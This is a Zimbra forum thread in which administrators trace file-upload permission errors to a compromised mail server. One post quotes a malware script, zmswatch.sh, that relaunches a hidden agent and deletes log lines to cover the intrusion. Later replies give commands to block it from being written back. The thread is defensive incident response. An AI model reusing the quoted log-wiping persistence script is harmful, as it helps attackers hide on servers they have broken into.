Cannot upload some files regardless of size or extension

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
LunaticRV
Posts: 3
Joined: Fri Feb 01, 2019 12:43 pm

Cannot upload some files regardless of size or extension

Postby LunaticRV » Mon May 27, 2019 10:36 am

Hello, today I noticed that I can't upload some files especially PDF and XLSX files without a specific pattern.

When I try to upload another PDF or XLSX file, it upload successfuly but on certain files I couldn't upload them. When I checked logs, this is the error I am getting error pasted below.

I fixed permissions and also if its a pure permission issue, I wouldn't be able to upload other files with same extensions. What could be the issue?

Code: Select all

2019-05-27 13:28:13,361 INFO  [qtp509886383-681:https://MAIL_SERVER_IP_MASKED:443/service/soap/SaveDraftRequest] [name=..@...;mid=13;ip=176.xxx.xxx.145;ua=ZimbraWebClient - GC74 (Win)/8.6.0_GA_1242;] soap - SaveDraftRequest elapsed=46
2019-05-27 13:28:13,407 WARN  [qtp509886383-677:https://MAIL_SERVER_IP_MASKED:443/service/upload?fmt=extended,raw] [name=..@...;mid=13;ip=176.xxx.xxx.145;ua=Mozilla/5.0 (Windows NT 10.0;; Win64;; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36;] FileUploadServlet - Unable to store upload.  Deleting name=MyExcel.xlsx, StoreLocation=/opt/zimbra/data/tmp/upload/upload_1a69bf75_16af8a837bf__8000_00000032.tmp, size=32768bytes, isFormField=false, FieldName=upload
java.io.FileNotFoundException: /opt/zimbra/data/tmp/upload/upload_1a69bf75_16af8a837bf__8000_00000032.tmp (Permission denied)
        at java.io.FileOutputStream.open(Native Method)
        at java.io.FileOutputStream.<init>(FileOutputStream.java:213)
        at java.io.FileOutputStream.<init>(FileOutputStream.java:162)
        at org.apache.commons.io.output.DeferredFileOutputStream.thresholdReached(DeferredFileOutputStream.java:165)
        at org.apache.commons.io.output.ThresholdingOutputStream.checkThreshold(ThresholdingOutputStream.java:221)
        at org.apache.commons.io.output.ThresholdingOutputStream.write(ThresholdingOutputStream.java:127)
        at com.zimbra.common.util.ByteUtil.copy(ByteUtil.java:726)
        at com.zimbra.cs.service.FileUploadServlet.handlePlainUpload(FileUploadServlet.java:686)
        at com.zimbra.cs.service.FileUploadServlet.doPost(FileUploadServlet.java:530)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:707)
        at com.zimbra.cs.servlet.ZimbraServlet.service(ZimbraServlet.java:206)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
        at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:738)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1651)
        at com.zimbra.cs.servlet.CsrfFilter.doFilter(CsrfFilter.java:169)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.RequestStringFilter.doFilter(RequestStringFilter.java:54)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.SetHeaderFilter.doFilter(SetHeaderFilter.java:59)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at org.eclipse.jetty.servlets.UserAgentFilter.doFilter(UserAgentFilter.java:83)
        at org.eclipse.jetty.servlets.GzipFilter.doFilter(GzipFilter.java:351)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.ETagHeaderFilter.doFilter(ETagHeaderFilter.java:47)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.ContextPathBasedThreadPoolBalancerFilter.doFilter(ContextPathBasedThreadPoolBalancerFilter.java:107)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.ZimbraQoSFilter.doFilter(ZimbraQoSFilter.java:127)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at com.zimbra.cs.servlet.ZimbraInvalidLoginFilter.doFilter(ZimbraInvalidLoginFilter.java:117)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at org.eclipse.jetty.servlets.DoSFilter.doFilterChain(DoSFilter.java:457)
        at org.eclipse.jetty.servlets.DoSFilter.doFilter(DoSFilter.java:326)
        at org.eclipse.jetty.servlets.DoSFilter.doFilter(DoSFilter.java:299)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
        at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:549)
        at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
        at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:544)
        at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:221)
        at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1111)
        at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:478)
        at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:183)
        at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1045)
        at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
        at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:199)
        at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:109)
        at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
        at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:309)
        at org.eclipse.jetty.server.handler.DebugHandler.handle(DebugHandler.java:81)
        at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
        at org.eclipse.jetty.server.Server.handle(Server.java:462)
        at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:279)
        at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:232)
        at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:534)
        at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:607)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:536)
        at java.lang.Thread.run(Thread.java:745)
2019-05-27 13:28:13,603 INFO  [qtp509886383-680:https://MAIL_SERVER_IP_MASKED:443/service/soap/SaveDraftRequest] [name=..@...;mid=13;ip=176.xxx.xxx.145;ua=ZimbraWebClient - GC74 (Win)/8.6.0_GA_1242;] soap - SaveDraftRequest elapsed=37
2019-05-27 13:28:27,156 INFO  [ImapSSLServer-0] [ip=MAIL_SERVER_IP_MASKED;


User avatar
DualBoot
Elite member
Elite member
Posts: 1090
Joined: Mon Apr 18, 2016 8:18 pm
Location: France - Earth
ZCS/ZD Version: ZCS FLOSS - 8.8.15 Mutli servers
Contact:

Re: Cannot upload some files regardless of size or extension

Postby DualBoot » Mon May 27, 2019 12:30 pm

Hello,

maybe your server has been compromised.

Regards,
ferra
Advanced member
Advanced member
Posts: 105
Joined: Fri Sep 12, 2014 10:47 pm

Re: Cannot upload some files regardless of size or extension

Postby ferra » Mon May 27, 2019 1:49 pm

Same problem here. I cannot upload (attach) PDf files. jpg, txt are ok.

Zimbra version Release 8.6.0_GA_1153.RHEL7_64_20141215151110 RHEL7_64 FOSS edition, Patch 8.6.0_P4.
zimbraargentina
Posts: 5
Joined: Mon May 27, 2019 1:49 pm

Re: Cannot upload some files regardless of size or extension

Postby zimbraargentina » Mon May 27, 2019 1:52 pm

Hello,
The solution from this is:

AS ROOT

Execute the following command

chmod -R 750 /opt/zimbra/data/tmp/upload/

Isn't restart required.

Please let me know.

Regards,

Marcos M.
SDA
Last edited by zimbraargentina on Mon May 27, 2019 2:21 pm, edited 1 time in total.
phoenix
Ambassador
Ambassador
Posts: 26345
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: Cannot upload some files regardless of size or extension

Postby phoenix » Mon May 27, 2019 2:07 pm

zimbraargentina wrote:the same here, after apply patch and runned fixed permissions son webapps because AJAX version isn't working.
zmfixperms isn't working with this.

Any solution?
How about your server has possibly been hacked/compromised? Search the forums for the relevant threads, read those and see if it applies to your server.
Regards

Bill

Rspamd: A high performance spamassassin replacement

If you'd like to see this implemented in a future version of ZCS then please vote on Bugzilla entries 97706 & 108168
ferra
Advanced member
Advanced member
Posts: 105
Joined: Fri Sep 12, 2014 10:47 pm

Re: Cannot upload some files regardless of size or extension

Postby ferra » Mon May 27, 2019 2:29 pm

I found this message in /var/log/zimbra.log :
zmconfigd[10710]: Rewrite failed: [Errno 1] Operation not permitted: '/opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml' ([Errno 1] Operation not permitted: '/opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml')

Running fixpermissions does not solve the issue


$ ls -l /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml
-r-xr--r-- 1 zimbra zimbra 24862 Feb 18 09:01 /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml
zimbraargentina
Posts: 5
Joined: Mon May 27, 2019 1:49 pm

Re: Cannot upload some files regardless of size or extension

Postby zimbraargentina » Mon May 27, 2019 2:38 pm

Hello
The solution is execute as root

chmod -R 750 /opt/zimbra/data/tmp/upload/

no restart required

Let me know
Regards

Marcos M
SDA
phoenix
Ambassador
Ambassador
Posts: 26345
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: Cannot upload some files regardless of size or extension

Postby phoenix » Mon May 27, 2019 3:19 pm

zimbraargentina wrote:The solution is execute as root
Not necessarily as there's no reason for those file permissions to change. ;) The question to ask yourself is why those permissions changed, did you check or do you know the answer to that? I'd suggest you follow my earlier suggestion and verify if your server is compromised/hacked and if so, then clean it and apply the relevant patches.
Regards

Bill

Rspamd: A high performance spamassassin replacement

If you'd like to see this implemented in a future version of ZCS then please vote on Bugzilla entries 97706 & 108168
ferra
Advanced member
Advanced member
Posts: 105
Joined: Fri Sep 12, 2014 10:47 pm

Re: Cannot upload some files regardless of size or extension

Postby ferra » Mon May 27, 2019 3:30 pm

Yes, it worked. Thanks a lot

I also fount a process consuming all the CPU, zmswatch.sh in /opt/zimbra/log :

# cat zmswatch.sh
#!/bin/sh
AGENT_FILE='/opt/zimbra/log/zmswatch'
if ps cax | grep -v grep | grep -v "zmswatch.sh" | grep "zmswatch" > /dev/null; then
echo "running"
else
echo "nohup"
nohup /opt/zimbra/log/zmswatch > /dev/null 2>&1 &
fi
sed -i '/Ajax\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/XZimbra\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/login\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/ZimbraCore\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/Debug\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/ppwd=/d' /opt/zimbra/log/*_log.2019*


I just remove zmswatch.sh and zmswatch


I change the password following this wiki : https://wiki.zimbra.com/wiki/Investigat ... ng_Systems

I cannot find where this porocess starts
User avatar
JDunphy
Outstanding Member
Outstanding Member
Posts: 482
Joined: Fri Sep 12, 2014 11:18 pm
Location: Victoria, BC
ZCS/ZD Version: 8.7.11_P14 RHEL6 Network Edition
Contact:

Re: Cannot upload some files regardless of size or extension

Postby JDunphy » Mon May 27, 2019 4:01 pm

ferra wrote:I cannot find where this porocess starts
You are playing whack-a-mole with the attacker. They have a remote command exploit (RCE) and a SSRF (server side request forgery)... Think of it like your zimbra server acting like a proxy to execute commands for that attacker. Check crontab, investigate your .bashrc, at jobs, etc, etc. Linux has so many ways to start something so another solution is to disable the script from being re-saved... if you haven't patched, they could be starting it with a POST request to your zimbra server.

Given the crazy solutions people are doing, I will add one to this list. :-)

Code: Select all

% sudo chattr +i /var/spool/cron/zimbra
% /bin/rm -f /opt/zimbra/log/zmswatch
% touch /opt/zimbra/log/zmswatch
% sudo chattr +i /opt/zimbra/log/zmswatch

That will prevent even root from being able to write to the zimbra crontab and to stop zmswatch program to re-infect until they change the name. Add additional files as shown above to make this more robust (ie. zmswatch.sh) ... To remove the attribute, use the 'chattr -i' option. This does not close the security hole but it does slow the infection because the attacker script can not be written to your file system... until they change the name and begin again. Once they gain root, it is game over and one of the attacking signatures posted by someone else was a remote shell where they can execute arbitrary commands.

FYI, it is possible for an attacker with a 10G link to check the entire ipv4 address every 45 mins. You can't hide from this exploit. Patching is the only remedy short of using a VPN access server and blocking all incoming connections to that trusted VPN address space.

Return to “Administrators”

Who is online

Users browsing this forum: No registered users and 7 guests